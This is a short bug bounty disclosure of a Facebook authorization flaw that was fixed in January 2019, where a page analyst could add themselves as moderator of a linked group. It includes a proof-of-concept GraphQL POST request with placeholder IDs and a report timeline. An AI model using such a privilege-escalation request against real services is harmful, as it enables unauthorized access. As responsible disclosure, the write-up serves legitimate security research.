Facebook Bug Bounty: A page analyst could add themselves as the moderator on a group
Description
There is a call to add member as the moderator on a group. The call at the time didn’t seem to have any authorisation checks to page roles. A page analyst was possible to add oneself as a moderator on a linked group.
Proof of Concept
HTTP POST
graph.facebook.com/graphql/
query_id=QUERYID
query_params={"0":{"user_id":"UserID","admin_type":"MODERATOR","actor_id":"PageID","client_mutation_id":"","source":"treehouse_group_mall","group_id":"GroupID"}}
Timeline
- Dec 19, 2018 - Report Sent
- Dec 22, 2018 - Further investigation by Facebook
- Jan 9, 2019 - Fixed by Facebook
- Jan 11, 2019 - Bounty Awarded by Facebook